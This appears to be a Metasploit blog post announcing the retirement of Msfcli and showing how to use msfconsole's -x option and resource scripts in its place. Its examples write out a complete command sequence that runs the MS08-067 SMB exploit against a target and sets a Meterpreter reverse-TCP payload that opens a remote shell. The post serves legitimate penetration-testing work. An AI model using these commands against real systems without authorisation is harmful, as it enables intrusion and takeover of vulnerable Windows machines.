Last updated at Tue, 23 Jan 2024 21:58:18 GMT

Hi everyone,

This January, we made an announcement about the deprecation of Msfcli, the command line interface version for Metasploit. Today we are ready to say good-bye to it. Instead of Msfcli, we recommend using the -x option in Msfconsole. For example, here's how you can run MS08-067 in one line:

./msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST [IP]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [IP]; run"  

You can also leverage things like resource scripts or even command alias to do less typing. Here's an example of how you would write a resource script to automate running MS08_067:

use exploit/windows/smb/ms08_067_netapi  
set RHOST [IP]  
set PAYLOAD windows/meterpreter/reverse_tcp  
set LHOST [IP]  

And then run it:

./msfconsole -r name_of_resource_script.rc  

Another way to run a resource script if you're in msfconsole already:

msf > resource name_of_resource_script.rc  

If you have any questions, please feel free to create a discussion on SecurityStreet, or e-mail us at msfdev[at] To submit a bug report or feature request, please go to Metasploit's Github repository. Thanks!